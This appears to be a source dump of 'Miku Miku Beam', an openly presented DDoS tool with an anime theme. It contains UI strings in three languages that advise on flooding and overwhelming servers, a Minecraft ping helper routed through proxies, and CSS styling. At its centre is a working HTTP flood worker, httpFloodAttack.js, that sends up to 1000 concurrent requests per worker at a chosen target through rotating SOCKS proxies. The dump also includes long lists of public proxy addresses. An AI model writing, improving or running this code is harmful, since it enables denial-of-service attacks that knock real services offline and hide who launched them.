| socks4://213.32.91.205:3128 6 | socks4://1.4.145.244:4145 7 | socks5://62.109.31.192:20000 8 | socks4://95.217.201.196:10037 9 | socks4://104.16.105.207:80 10 | socks4://2.229.249.153:4145 11 | socks4://1.15.172.214:7890 12 | socks4://95.79.99.159:44068 13 | socks5://36.251.170.169:44844 14 | socks4://170.244.64.12:31476 15 | socks4://165.225.216.80:10605 16 | socks5://157.185.170.32:26589 17 | socks4://102.64.116.97:4145 18 | socks4://141.105.86.130:44660 19 | socks4://1.1.1.18:80 20 | socks4://80.116.152.53:3744 21 | socks4://77.85.104.54:1080 22 | socks4://8.39.228.209:39593 23 | socks4://95.64.144.66:1080 24 | socks5://207.246.87.152:11201 25 | socks4://1.10.133.237:4145 26 | socks4://110.74.208.153:21776 27 | socks4://201.234.24.9:4153 28 | socks5://91.90.114.237:1080 29 | socks4://116.101.116.41:4003 30 | socks4://197.234.13.17:4145 31 | socks4://197.234.13.97:4145 32 | socks5://66.33.212.216:15891 33 | socks4://202.150.1.87:80 34 | socks4://41.60.233.192:8080 35 | socks4://47.105.126.142:80 36 | socks4://197.234.13.66:4145 37 | socks4://181.66.37.143:4153 38 | socks4://197.234.13.6:4145 39 | socks4://163.53.205.161:4153 40 | socks4://150.230.96.150:19291 41 | socks4://41.60.234.231:8080 42 | socks4://23.94.73.177:22429 43 | socks5://117.94.222.70:1080 44 | socks4://168.195.50.225:4153 45 | socks4://165.225.204.117:10605 46 | socks5://38.127.179.126:46656 47 | socks5://213.168.250.121:40418 48 | socks5://75.119.203.88:15745 49 | socks4://138.97.2.198:4145 50 | socks4://73.248.90.20:8081 51 | socks4://110.93.231.73:5678 52 | socks4://34.64.4.27:80 53 | socks4://182.253.154.72:4145 54 | socks5://185.105.237.129:808 55 | socks5://94.130.171.189:10004 56 | socks4://194.87.140.161:1080 57 | socks4://36.89.85.49:5678 58 | socks5://121.205.69.62:21212 59 | socks4://124.121.176.254:4145 60 | socks4://192.169.249.16:8362 61 | socks4://185.162.228.170:80 62 | socks4://157.245.59.71:42765 63 | socks5://193.70.113.238:18545 64 | socks4://188.255.244.49:1080 65 | socks5://103.213.245.105:4003 66 | socks5://184.174.75.86:51724 67 | socks4://109.73.181.155:4145 68 | socks4://177.125.206.40:4145 69 | socks4://203.34.28.148:80 70 | socks4://162.247.243.29:80 71 | socks4://47.242.155.132:10900 72 | socks5://80.210.37.4:1080 73 | socks5://79.141.160.2:48462 74 | socks4://77.235.28.229:4153 75 | socks5://79.127.35.243:5678 76 | socks4://188.114.99.171:80 77 | socks4://116.102.244.96:5678 78 | socks4://122.248.46.253:4145 79 | socks4://75.119.200.27:23456 80 | socks5://82.115.21.188:1080 81 | socks4://1.32.57.85:5678 82 | socks4://126.70.140.73:80 83 | socks4://123.59.100.247:1080 84 | socks4://202.131.248.107:1080 85 | socks4://180.246.79.160:8080 86 | socks4://207.178.166.187:80 87 | socks4://36.90.209.97:5678 88 | socks4://38.127.172.161:46656 89 | socks4://41.242.90.3:57520 90 | socks5://114.132.243.168:7890 91 | socks4://211.174.96.81:4153 92 | socks4://168.227.158.85:4145 93 | socks4://104.21.218.103:80 94 | socks5://1.1.1.18:80 95 | socks4://103.199.97.9:39825 96 | socks4://185.36.132.223:9050 97 | socks4://61.7.184.39:4145 98 | socks4://207.246.87.152:11201 99 | socks4://103.58.75.29:5678 100 | socks4://185.208.172.27:10204 101 | socks5://104.16.105.207:80 102 | socks4://154.113.86.193:5678 103 | socks5://149.28.122.98:46560socks4://89.237.35.145:51549 104 | socks4://197.234.13.17:4145 105 | socks4://197.234.13.6:4145 106 | socks4://197.234.13.97:4145 107 | socks4://102.64.116.97:4145 108 | socks4://197.234.13.66:4145 109 | socks4://185.36.132.223:9050 110 | socks4://102.64.116.97:4145 111 | socks4://89.237.35.145:51549 112 | socks4://102.64.116.97:4145 113 | -------------------------------------------------------------------------------- /src/translations.ts: -------------------------------------------------------------------------------- 1 | export const translations = { 2 | en: { 3 | title: "Miku Miku Beam", 4 | subtitle: "Because DDoS attacks are also cute and even more so when Miku does them.", 5 | targetPlaceholder: "Enter target URL or IP", 6 | startAttack: "Start Miku Beam", 7 | stopAttack: "Stop Beam", 8 | attackMethod: "Attack Method", 9 | packetSize: "Packet Size (kb)", 10 | duration: "Duration (seconds)", 11 | packetDelay: "Packet Delay (ms)", 12 | statsPPS: "Packets/sec", 13 | statsBots: "Active Bots", 14 | statsTotal: "Total Packets", 15 | logsWaiting: "Waiting for Miku's power...", 16 | useMyIP: "Attack with my current IP", 17 | useMyIPSuffix: "(Pentest Mode - High Performance)", 18 | useMyIPWarning: "⚠️ Danger: Can expose private IP & risk server ban (repeating IP).", 19 | writeChanges: "Write Changes", 20 | proxiesTxt: "proxies.txt", 21 | uasTxt: "uas.txt", 22 | loading: "Loading configuration...", 23 | saved: "Saved", 24 | enterTarget: "Please enter a target!", 25 | preparing: "🍮 Preparing attack...", 26 | help_method: "HTTP Flood: Standard request spam. Best for general targets.\nSlowloris: Low bandwidth, keeps connections open. Good for unoptimized servers.\nTCP Flood: Raw Layer 4 data. Good for non-HTTP targets.", 27 | help_packet_size: "Data per request.\nLarge (64kb+): Consumes Bandwidth. Good for clogging network pipes.\nSmall (<1kb): High Packet Rate (PPS). Good for overwhelming Server CPU.", 28 | help_packet_delay: "Delay between packets.\n0ms: Max Speed (Can lag your PC).\n100ms+: Slower, safer, mimics real traffic.", 29 | footer: "Maintained by" 30 | }, 31 | id: { 32 | title: "Miku Miku Beam", 33 | subtitle: "Karena serangan DDoS juga bisa imut, apalagi kalau Miku yang melakukannya.", 34 | targetPlaceholder: "Masukkan URL atau IP target", 35 | startAttack: "Mulai Miku Beam", 36 | stopAttack: "Hentikan Beam", 37 | attackMethod: "Metode Serangan", 38 | packetSize: "Ukuran Paket (kb)", 39 | duration: "Durasi (detik)", 40 | packetDelay: "Jeda Paket (ms)", 41 | statsPPS: "Paket/detik", 42 | statsBots: "Bot Aktif", 43 | statsTotal: "Total Paket", 44 | logsWaiting: "Menunggu kekuatan Miku...", 45 | useMyIP: "Serang dengan IP saya saat ini", 46 | useMyIPSuffix: "(Mode Pentest - Performa Tinggi)", 47 | useMyIPWarning: "⚠️ Bahaya: Dapat mengekspos IP pribadi & rawan banned server (IP sama terus menerus).", 48 | writeChanges: "Simpan Perubahan", 49 | proxiesTxt: "proxies.txt", 50 | uasTxt: "uas.txt", 51 | loading: "Memuat konfigurasi...", 52 | saved: "Tersimpan", 53 | enterTarget: "Harap masukkan target!", 54 | preparing: "🍮 Menyiapkan serangan...", 55 | help_method: "HTTP Flood: Spam request standar. Bagus untuk target umum.\nSlowloris: Hemat bandwidth, menahan koneksi. Bagus untuk server tua.\nTCP Flood: Data Layer 4 murni. Bagus untuk target non-WEB.", 56 | help_packet_size: "Data per request.\nBesar (64kb+): Makan Bandwidth. Bagus untuk memenuhkan pipa jaringan.\nKecil (<1kb): Rate Paket Tinggi (PPS). Bagus untuk bikin CPU server stress.", 57 | help_packet_delay: "Jeda antar paket.\n0ms: Full Speed (Bisa bikin PC nge-lag).\n100ms+: Lebih santai, mirip trafik asli.", 58 | footer: "Dikelola oleh" 59 | }, 60 | cn: { 61 | title: "Miku Miku Beam", 62 | subtitle: "因为DDoS攻击也可以很可爱,尤其是当Miku来做的时候。", 63 | targetPlaceholder: "输入目标URL或IP", 64 | startAttack: "发射 Miku Beam", 65 | stopAttack: "停止 Beam", 66 | attackMethod: "攻击方式", 67 | packetSize: "数据包大小 (kb)", 68 | duration: "持续时间 (秒)", 69 | packetDelay: "数据包延迟 (ms)", 70 | statsPPS: "包/秒", 71 | statsBots: "活跃Bot", 72 | statsTotal: "总数据包", 73 | logsWaiting: "等待Miku的力量...", 74 | useMyIP: "使用我当前的IP攻击", 75 | useMyIPSuffix: "(渗透测试模式 - 高性能)", 76 | useMyIPWarning: "⚠️ 危险:可能会暴露您的私有IP并导致服务器封禁(重复IP)。", 77 | writeChanges: "保存更改", 78 | proxiesTxt: "代理列表 (proxies.txt)", 79 | uasTxt: "User-Agent列表 (uas.txt)", 80 | loading: "加载配置中...", 81 | saved: "已保存", 82 | enterTarget: "请输入目标!", 83 | preparing: "🍮 准备攻击...", 84 | help_method: "HTTP Flood: 标准请求泛滥。最适合一般目标。\nSlowloris: 低带宽,保持连接。适合未优化的服务器。\nTCP Flood: 原始 Layer 4 数据。适合非 WEB 目标。", 85 | help_packet_size: "每次请求的数据量。\n大包 (64kb+): 消耗带宽。适合堵塞网络管道。\n小包 (<1kb): 高包率 (PPS)。适合压垮服务器 CPU。", 86 | help_packet_delay: "包与包之间的延迟。\n0ms: 全速 (可能会让你的电脑卡顿)。\n100ms+: 较慢,更安全,模拟真实流量。", 87 | footer: "维护者" 88 | } 89 | }; 90 | 91 | export type Language = "en" | "id" | "cn"; 92 | export type TranslationKey = keyof typeof translations.en; 93 | -------------------------------------------------------------------------------- /server/utils/mcUtils.js: -------------------------------------------------------------------------------- 1 | // Adapted from: https://github.com/Cryptkeeper/mcping-js/ 2 | import net from "net"; 3 | import { SocksProxyAgent } from "socks-proxy-agent"; 4 | 5 | class MinecraftProtocol { 6 | static writeVarInt(val) { 7 | // "VarInts are never longer than 5 bytes" 8 | // https://wiki.vg/Data_types#VarInt_and_VarLong 9 | const buf = Buffer.alloc(5); 10 | let written = 0; 11 | 12 | while (true) { 13 | if ((val & 0xffffff80) === 0) { 14 | buf.writeUInt8(val, written++); 15 | break; 16 | } else { 17 | buf.writeUInt8((val & 0x7f) | 0x80, written++); 18 | val >>>= 7; 19 | } 20 | } 21 | 22 | return buf.slice(0, written); 23 | } 24 | 25 | static writeString(val) { 26 | return Buffer.from(val, "UTF-8"); 27 | } 28 | 29 | static writeUShort(val) { 30 | return Buffer.from([val >> 8, val & 0xff]); 31 | } 32 | 33 | static concat(chunks) { 34 | let length = 0; 35 | 36 | for (const chunk of chunks) { 37 | length += chunk.length; 38 | } 39 | 40 | const buf = [MinecraftProtocol.writeVarInt(length), ...chunks]; 41 | 42 | return Buffer.concat(buf); 43 | } 44 | } 45 | 46 | class MinecraftBufferReader { 47 | constructor(buffer) { 48 | this._buffer = buffer; 49 | this._offset = 0; 50 | } 51 | 52 | readVarInt() { 53 | let val = 0; 54 | let count = 0; 55 | 56 | while (true) { 57 | const b = this._buffer.readUInt8(this._offset++); 58 | 59 | val |= (b & 0x7f) << (count++ * 7); 60 | 61 | if ((b & 0x80) != 128) { 62 | break; 63 | } 64 | } 65 | 66 | return val; 67 | } 68 | 69 | readString() { 70 | const length = this.readVarInt(); 71 | const val = this._buffer.toString( 72 | "UTF-8", 73 | this._offset, 74 | this._offset + length 75 | ); 76 | 77 | // Advance the reader index forward by the string length 78 | this._offset += length; 79 | 80 | return val; 81 | } 82 | 83 | offset() { 84 | return this._offset; 85 | } 86 | } 87 | 88 | export function pingMinecraftServer(host, port, proxy) { 89 | return new Promise((resolve, reject) => { 90 | const { protocol, host: proxyHost, port: proxyPort, username: proxyUsername, password: proxyPassword } = proxy; 91 | 92 | const agent = new SocksProxyAgent( 93 | `${protocol}://${proxyUsername && proxyPassword ? `${proxyUsername}:${proxyPassword}@` : ""}${proxyHost}:${proxyPort}` 94 | ); 95 | 96 | const socket = net.createConnection({ 97 | host: host, 98 | port: port, 99 | agent: agent, 100 | }); 101 | 102 | const timeoutTask = setTimeout(() => { 103 | socket.emit("error", new Error("Socket timeout")); 104 | }, 5000); 105 | 106 | const closeSocket = () => { 107 | socket.destroy(); 108 | clearTimeout(timeoutTask); 109 | }; 110 | 111 | let didFireError = false; 112 | 113 | const handleErr = (err) => { 114 | closeSocket(); 115 | if (!didFireError) { 116 | didFireError = true; 117 | reject(err); 118 | } 119 | }; 120 | 121 | socket.setNoDelay(true); 122 | 123 | socket.on("connect", () => { 124 | const handshake = MinecraftProtocol.concat([ 125 | MinecraftProtocol.writeVarInt(0), 126 | MinecraftProtocol.writeVarInt(340), 127 | MinecraftProtocol.writeVarInt(host.length), 128 | MinecraftProtocol.writeString(host), 129 | MinecraftProtocol.writeUShort(port), 130 | MinecraftProtocol.writeVarInt(1), 131 | ]); 132 | 133 | socket.write(handshake); 134 | 135 | const request = MinecraftProtocol.concat([ 136 | MinecraftProtocol.writeVarInt(0), 137 | ]); 138 | 139 | socket.write(request); 140 | }); 141 | 142 | let incomingBuffer = Buffer.alloc(0); 143 | 144 | socket.on("data", (data) => { 145 | incomingBuffer = Buffer.concat([incomingBuffer, data]); 146 | 147 | if (incomingBuffer.length < 5) { 148 | return; 149 | } 150 | 151 | const bufferReader = new MinecraftBufferReader(incomingBuffer); 152 | const length = bufferReader.readVarInt(); 153 | 154 | if (incomingBuffer.length - bufferReader.offset() < length) { 155 | return; 156 | } 157 | 158 | const id = bufferReader.readVarInt(); 159 | 160 | if (id === 0) { 161 | const reply = bufferReader.readString(); 162 | 163 | try { 164 | const message = JSON.parse(reply); 165 | resolve(message); 166 | closeSocket(); 167 | } catch (err) { 168 | handleErr(err); 169 | } 170 | } else { 171 | handleErr(new Error("Received unexpected packet")); 172 | } 173 | }); 174 | 175 | socket.on("error", handleErr); 176 | }); 177 | } 178 | -------------------------------------------------------------------------------- /src/index.css: -------------------------------------------------------------------------------- 1 | @tailwind base; 2 | @tailwind components; 3 | @tailwind utilities; 4 | 5 | body { 6 | width: 100vw; 7 | height: 100vh; 8 | overflow-x: hidden; 9 | background-color: black; 10 | } 11 | 12 | .background-pulse { 13 | animation: background-pulse 0.31s infinite; 14 | transition: background-color 0.2s ease-in-out; 15 | } 16 | 17 | @keyframes background-pulse { 18 | 0% { 19 | background-color: rgb(3 7 18 / var(--tw-bg-opacity, 1)); 20 | } 21 | 50% { 22 | background-color: rgb(48, 15, 31) 23 | } 24 | 100% { 25 | transform: rgb(3 7 18 / var(--tw-bg-opacity, 1)); 26 | } 27 | } 28 | 29 | /* Infinite intense shaking */ 30 | .shake { 31 | animation: shake 0.5s cubic-bezier(0.36, 0.07, 0.19, 0.97) infinite; 32 | transform: translate3d(0, 0, 0); 33 | backface-visibility: hidden; 34 | perspective: 1000px; 35 | } 36 | 37 | @keyframes shake { 38 | 0% { 39 | transform: translate(2px, 2px) rotate(0deg); 40 | } 41 | 10% { 42 | transform: translate(-2px, -4px) rotate(-1deg); 43 | } 44 | 20% { 45 | transform: translate(-6px, 0px) rotate(1deg); 46 | } 47 | 30% { 48 | transform: translate(6px, 4px) rotate(0deg); 49 | } 50 | 40% { 51 | transform: translate(2px, -2px) rotate(1deg); 52 | } 53 | 50% { 54 | transform: translate(-2px, 4px) rotate(-1deg); 55 | } 56 | 60% { 57 | transform: translate(-6px, 2px) rotate(0deg); 58 | } 59 | 70% { 60 | transform: translate(6px, 2px) rotate(-1deg); 61 | } 62 | 80% { 63 | transform: translate(-2px, -2px) rotate(1deg); 64 | } 65 | 90% { 66 | transform: translate(2px, 4px) rotate(0deg); 67 | } 68 | 100% { 69 | transform: translate(2px, -4px) rotate(-1deg); 70 | } 71 | } 72 | 73 | /* styling is done for the volume bar to match the rest of the miku theme. code was generated from: https://danielstern.ca/range.css/?ref=css-tricks#/ and background was replaced with linear-gradient */ 74 | input[type=range].volume_bar { 75 | width: 100%; 76 | margin: 5px 0; 77 | background-color: transparent; 78 | -webkit-appearance: none; 79 | } 80 | input[type=range].volume_bar:focus { 81 | outline: none; 82 | } 83 | input[type=range].volume_bar::-webkit-slider-runnable-track { 84 | background: linear-gradient(to bottom right, rgba(236, 72, 153, 1), rgba(59, 130, 246, 1)); 85 | border: 0; 86 | border-radius: 25px; 87 | width: 100%; 88 | height: 5px; 89 | cursor: pointer; 90 | } 91 | input[type=range].volume_bar::-webkit-slider-thumb { 92 | margin-top: -5px; 93 | width: 20px; 94 | height: 15px; 95 | background: rgba(6, 182, 212, 0.93); 96 | border: 1px solid #0891b2; 97 | border-radius: 50px; 98 | cursor: pointer; 99 | -webkit-appearance: none; 100 | } 101 | input[type=range].volume_bar:focus::-webkit-slider-runnable-track { 102 | background: linear-gradient(to bottom right, rgba(236, 72, 153, 1), rgba(59, 130, 246, 1)); 103 | } 104 | input[type=range].volume_bar::-moz-range-track { 105 | background: linear-gradient(to bottom right, rgba(236, 72, 153, 1), rgba(59, 130, 246, 1)); 106 | 107 | border: 0; 108 | border-radius: 25px; 109 | width: 100%; 110 | height: 5px; 111 | cursor: pointer; 112 | } 113 | input[type=range].volume_bar::-moz-range-thumb { 114 | width: 20px; 115 | height: 15px; 116 | background: rgba(6, 182, 212, 0.93); 117 | border: 1px solid #0891b2; 118 | border-radius: 50px; 119 | cursor: pointer; 120 | } 121 | input[type=range].volume_bar::-ms-track { 122 | background: transparent; 123 | border-color: transparent; 124 | border-width: 6.8px 0; 125 | color: transparent; 126 | width: 100%; 127 | height: 5px; 128 | cursor: pointer; 129 | } 130 | input[type=range].volume_bar::-ms-fill-lower { 131 | background: linear-gradient(to bottom right, rgba(236, 72, 153, 1), rgba(59, 130, 246, 1)); 132 | border: 0; 133 | border-radius: 50px; 134 | } 135 | input[type=range].volume_bar::-ms-fill-upper { 136 | background: linear-gradient(to bottom right, rgba(236, 72, 153, 1), rgba(59, 130, 246, 1)); 137 | 138 | border: 0; 139 | border-radius: 50px; 140 | } 141 | input[type=range].volume_bar::-ms-thumb { 142 | width: 20px; 143 | height: 15px; 144 | background: rgba(6, 182, 212, 0.93); 145 | border: 1px solid #0891b2; 146 | border-radius: 50px; 147 | cursor: pointer; 148 | margin-top: 0px; 149 | /*Needed to keep the Edge thumb centred*/ 150 | } 151 | input[type=range].volume_bar:focus::-ms-fill-lower { 152 | background: linear-gradient(to bottom right, rgba(236, 72, 153, 1), rgba(59, 130, 246, 1)); 153 | 154 | } 155 | input[type=range].volume_bar:focus::-ms-fill-upper { 156 | background: linear-gradient(to bottom right, rgba(236, 72, 153, 1), rgba(59, 130, 246, 1)); 157 | } 158 | /*TODO: Use one of the selectors from https://stackoverflow.com/a/20541859/7077589 and figure out 159 | how to remove the vertical space around the range input in IE*/ 160 | @supports (-ms-ime-align:auto) { 161 | /* Pre-Chromium Edge only styles, selector taken from hhttps://stackoverflow.com/a/32202953/7077589 */ 162 | input[type=range].volume_bar { 163 | margin: 0; 164 | /*Edge starts the margin from the thumb, not the track as other browsers do*/ 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /server/workers/httpFloodAttack.js: -------------------------------------------------------------------------------- 1 | import axios from "axios"; 2 | import { SocksProxyAgent } from "socks-proxy-agent"; 3 | import { parentPort, workerData } from "worker_threads"; 4 | import http from "http"; 5 | import https from "https"; 6 | 7 | import { randomBoolean, randomString } from "../utils/randomUtils.js"; 8 | 9 | // -- Configuration -- 10 | const BATCH_INTERVAL = 1000; // Send stats every 1 second 11 | const CONCURRENCY_LIMIT = 1000; // Maintain 1000 parallel requests (per worker) 12 | 13 | const startAttack = async () => { 14 | const { target, proxies, userAgents, duration, useMyIP } = workerData; 15 | const packetDelay = Number(workerData.packetDelay); 16 | const packetSize = Number(workerData.packetSize); 17 | 18 | const fixedTarget = target.startsWith("http") ? target : `https://${target}`; 19 | const startTime = Date.now(); 20 | let isRunning = true; 21 | 22 | // Stats Counters 23 | let totalPackets = 0; 24 | let ppsCounter = 0; 25 | let successCount = 0; 26 | let failCount = 0; 27 | 28 | // Batched Proxy Feedback 29 | const goodProxies = new Set(); 30 | const badProxies = new Set(); 31 | 32 | // --- 1. Agent Setup --- 33 | // Re-use agents to keep connections alive and reduce overhead 34 | const httpAgent = new http.Agent({ keepAlive: true, maxSockets: Infinity }); 35 | const httpsAgent = new https.Agent({ keepAlive: true, maxSockets: Infinity }); 36 | const agentCache = new Map(); // Cache for SocksProxyAgent to avoid per-request creation overhead 37 | 38 | // Helper to get config for a specific request 39 | const getRequestConfig = () => { 40 | const userAgent = userAgents.length > 0 ? userAgents[Math.floor(Math.random() * userAgents.length)] : "Mozilla/5.0"; 41 | 42 | const config = { 43 | headers: { "User-Agent": userAgent, "Connection": "keep-alive" }, 44 | timeout: 5000, 45 | validateStatus: (status) => status < 500, 46 | httpAgent: httpAgent, // default agents for direct 47 | httpsAgent: httpsAgent, 48 | }; 49 | 50 | // Proxy Logic 51 | if (!useMyIP && proxies.length > 0) { 52 | const proxy = proxies[Math.floor(Math.random() * proxies.length)]; 53 | 54 | if (proxy.protocol === "http") { 55 | config.proxy = { 56 | host: proxy.host, 57 | port: proxy.port, 58 | }; 59 | if (proxy.username && proxy.password) { 60 | config.proxy.auth = { username: proxy.username, password: proxy.password }; 61 | } 62 | // Http proxy uses default agents usually, axios handles it. 63 | // But for high performance, specific agents might be better, strictly axios handles http proxy well. 64 | } else if (proxy.protocol.startsWith("socks")) { 65 | // Socks needs special agent 66 | const proxyUrl = `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}`; 67 | 68 | let agent = agentCache.get(proxyUrl); 69 | if (!agent) { 70 | agent = new SocksProxyAgent(proxyUrl); 71 | agentCache.set(proxyUrl, agent); 72 | } 73 | 74 | config.httpAgent = agent; 75 | config.httpsAgent = agent; 76 | } 77 | 78 | return { config, proxyStr: `${proxy.protocol}://${proxy.host}:${proxy.port}` }; 79 | } 80 | 81 | return { config, proxyStr: "DIRECT" }; 82 | }; 83 | 84 | 85 | // --- 2. Request Logic --- 86 | const sendRequest = async () => { 87 | if (!isRunning) return; 88 | 89 | const { config, proxyStr } = getRequestConfig(); 90 | const isGet = packetSize > 64 ? false : randomBoolean(); 91 | const payload = randomString(packetSize); 92 | 93 | try { 94 | if (isGet) { 95 | await axios.get(`${fixedTarget}/${payload}`, config); 96 | } else { 97 | await axios.post(fixedTarget, payload, config); 98 | } 99 | 100 | totalPackets++; 101 | ppsCounter++; 102 | successCount++; 103 | if (!useMyIP) goodProxies.add(proxyStr); 104 | 105 | } catch (error) { 106 | totalPackets++; // Count failed packets too as "attempts" 107 | ppsCounter++; 108 | failCount++; 109 | if (!useMyIP && proxyStr !== "DIRECT") badProxies.add(proxyStr); 110 | // We don't log the specific error to parent to save IPC bandwidth 111 | } finally { 112 | // --- 3. Concurrency Loop --- 113 | // As soon as one finishes, start another if we are still running. 114 | if (isRunning) { 115 | if (packetDelay > 0) { 116 | setTimeout(sendRequest, packetDelay); 117 | } else { 118 | setImmediate(sendRequest); 119 | } 120 | } 121 | } 122 | }; 123 | 124 | 125 | // --- 4. Main Loop Starter --- 126 | // Spawn initial batch 127 | for (let i = 0; i < CONCURRENCY_LIMIT; i++) { 128 | sendRequest(); 129 | } 130 | 131 | // --- 5. Validating & Reporting (The "Cluster" Manager) --- 132 | const statsInterval = setInterval(() => { 133 | if (Date.now() - startTime >= duration * 1000) { 134 | shutdown(); 135 | } 136 | 137 | // Send Batch Report 138 | const report = { 139 | type: 'stats', 140 | pps: ppsCounter / (BATCH_INTERVAL / 1000), // Approx PPS 141 | totalPackets, 142 | log: null 143 | }; 144 | 145 | // If we have proxy info, send it in a separate lightweight message or combined 146 | if (goodProxies.size > 0 || badProxies.size > 0) { 147 | parentPort.postMessage({ 148 | type: 'proxy_status', 149 | good: Array.from(goodProxies), 150 | bad: Array.from(badProxies) 151 | }); 152 | goodProxies.clear(); 153 | badProxies.clear(); 154 | } 155 | 156 | parentPort.postMessage(report); 157 | ppsCounter = 0; // Reset PPS counter for next second 158 | 159 | }, BATCH_INTERVAL); 160 | 161 | 162 | const shutdown = () => { 163 | isRunning = false; 164 | clearInterval(statsInterval); 165 | parentPort.postMessage({ log: `🏁 Attack finished. Total: ${totalPackets}`, totalPackets }); 166 | process.exit(0); 167 | }; 168 | }; 169 | 170 | if (workerData) { 171 | startAttack(); 172 | } 173 | -------------------------------------------------------------------------------- /proxies.txt: -------------------------------------------------------------------------------- 1 | socks5://95.111.227.164:58091 2 | socks5://51.75.126.150:6053 3 | socks5://46.105.124.216:45512 4 | socks5://31.172.186.69:41080 5 | socks5://62.182.83.214:1080 6 | socks5://46.105.127.74:45108 7 | socks5://31.172.186.69:48867 8 | socks5://208.89.96.91:30198 9 | socks5://51.89.22.90:3834 10 | socks5://195.98.77.179:1080 11 | socks5://5.161.146.73:24299 12 | socks5://184.95.235.194:1080 13 | socks5://129.146.166.74:8712 14 | socks5://116.202.48.78:60561 15 | socks5://84.247.168.26:33024 16 | socks5://132.148.167.243:62859 17 | socks5://132.148.167.243:46609 18 | socks5://132.148.167.243:46843 19 | socks5://198.12.249.249:58711 20 | socks5://132.148.167.243:44728 21 | socks5://132.148.167.243:44585 22 | socks5://198.12.249.249:36988 23 | socks5://68.178.203.148:34556 24 | socks5://72.167.133.229:49534 25 | socks5://198.12.249.249:10705 26 | socks5://198.12.249.249:64999 27 | socks5://198.12.249.249:30546 28 | socks5://132.148.167.243:18975 29 | socks5://68.178.203.148:39041 30 | socks5://132.148.167.243:44970 31 | socks5://132.148.167.243:48451 32 | socks5://198.12.249.249:59709 33 | socks5://132.148.167.243:57413 34 | socks5://132.148.167.243:28382 35 | socks5://132.148.167.243:30241 36 | socks5://132.148.167.243:40303 37 | socks5://198.12.249.249:60093 38 | socks5://135.148.32.193:58022 39 | socks5://51.75.126.150:9105 40 | socks5://193.70.32.184:63144 41 | socks5://132.148.167.243:50928 42 | socks5://37.187.131.224:40925 43 | socks5://198.12.249.249:26829 44 | socks5://205.185.113.92:1080 45 | socks5://193.70.32.184:11668 46 | socks5://161.97.170.156:6392 47 | socks5://173.249.28.218:42702 48 | socks5://141.94.106.171:33107 49 | socks5://194.163.171.163:40371 50 | socks5://51.75.121.63:52515 51 | socks5://198.12.248.208:47291 52 | socks5://88.119.165.46:10462 53 | socks5://77.90.141.26:31639 54 | socks5://123.131.128.235:1080 55 | socks5://37.27.141.208:10012 56 | socks5://132.148.158.188:45286 57 | socks5://68.178.207.17:11680 58 | socks5://68.178.203.148:56175 59 | socks5://91.132.21.134:1080 60 | socks5://51.68.74.164:23035 61 | socks5://153.122.170.13:51544 62 | socks5://173.249.33.122:8292 63 | socks5://185.35.130.147:52252 64 | socks5://185.35.130.168:64042 65 | socks5://51.38.159.73:30863 66 | socks5://54.36.13.94:54923 67 | socks5://221.158.136.11:41010 68 | socks5://132.148.167.56:18611 69 | socks5://221.158.136.160:41010 70 | socks5://5.161.146.73:43101 71 | socks5://145.249.249.2:10810 72 | socks5://144.202.78.147:80 73 | socks5://51.75.206.235:60428 74 | socks5://163.172.190.59:16379 75 | socks5://38.57.3.59:6579 76 | socks5://173.249.33.49:3960 77 | socks5://58.22.60.174:1080 78 | socks5://195.200.29.227:1080 79 | socks5://31.43.194.174:1080 80 | socks5://198.12.249.249:7971 81 | socks5://95.111.227.164:40538 82 | socks5://89.221.212.251:11562 83 | socks5://46.105.105.223:5589 84 | socks5://195.133.250.173:3128 85 | socks5://109.205.183.236:44917 86 | socks5://72.167.149.208:2592 87 | socks5://132.148.167.243:44945 88 | socks5://45.33.21.96:8357 89 | socks5://172.105.3.174:45566 90 | socks5://51.89.21.99:47700 91 | socks5://178.33.133.82:61915 92 | socks5://194.163.171.163:59130 93 | socks5://178.254.62.52:29664 94 | socks5://194.163.171.163:25153 95 | socks5://77.90.141.26:41656 96 | socks5://172.236.19.154:31111 97 | socks5://152.228.134.142:44284 98 | socks5://198.12.249.249:48086 99 | socks5://119.204.64.219:41010 100 | socks5://103.242.175.119:7899 101 | socks5://178.33.138.255:43588 102 | socks5://46.105.105.223:63462 103 | socks5://92.55.24.153:10810 104 | socks5://95.216.208.108:24833 105 | socks5://51.210.111.216:22302 106 | socks5://51.75.121.63:59049 107 | socks5://46.105.105.223:51869 108 | socks5://31.172.186.69:24569 109 | socks5://185.35.130.23:59790 110 | socks5://207.180.204.96:39955 111 | socks5://132.148.167.243:53911 112 | socks5://68.178.203.148:55567 113 | socks5://212.47.232.161:16379 114 | socks5://198.12.248.208:46096 115 | socks5://171.228.130.95:39471 116 | socks5://54.39.50.68:29542 117 | socks5://144.126.201.25:8192 118 | socks5://109.123.254.43:48175 119 | socks5://162.19.60.219:27792 120 | socks5://148.251.154.233:31514 121 | socks5://46.105.127.74:19939 122 | socks5://141.94.106.195:54165 123 | socks5://212.47.251.132:16379 124 | socks5://149.78.186.176:32566 125 | socks5://51.89.21.99:59577 126 | socks5://144.76.138.207:53907 127 | socks5://184.168.121.153:52630 128 | socks5://212.47.250.36:16379 129 | socks5://46.105.127.74:24764 130 | socks5://159.89.174.192:35059 131 | socks5://144.91.71.101:11646 132 | socks5://64.202.184.249:18087 133 | socks5://185.252.234.80:8116 134 | socks5://213.249.67.48:8458 135 | socks5://109.123.254.43:18871 136 | socks5://103.163.244.106:1080 137 | socks5://184.168.121.153:9056 138 | socks5://51.75.126.150:15048 139 | socks5://128.199.22.92:17470 140 | socks5://84.247.168.26:32085 141 | socks5://207.244.238.71:4625 142 | socks5://119.148.39.241:9990 143 | socks5://207.244.241.235:53514 144 | socks5://198.12.248.208:61741 145 | socks5://184.168.121.153:17249 146 | socks5://173.249.33.49:37399 147 | socks5://184.168.121.153:8538 148 | socks5://61.245.29.126:8010 149 | socks5://194.163.170.232:34800 150 | socks5://207.180.204.96:21979 151 | socks5://163.172.132.115:16379 152 | socks5://64.207.158.49:21775 153 | socks5://130.255.160.60:52939 154 | socks5://139.59.36.226:22399 155 | socks5://72.167.224.168:4823 156 | socks5://193.198.36.102:11637 157 | socks5://94.158.246.81:50985 158 | socks5://37.187.73.7:64415 159 | socks5://122.51.39.108:20127 160 | socks5://212.47.229.46:16379 161 | socks5://184.168.121.153:48636 162 | socks5://89.46.249.145:9876 163 | socks5://91.142.222.105:60164 164 | socks5://144.91.71.101:40345 165 | socks5://84.247.168.26:18478 166 | socks5://65.49.82.7:39744 167 | socks5://184.168.121.153:6509 168 | socks5://194.163.176.66:63174 169 | socks5://81.200.241.173:1080 170 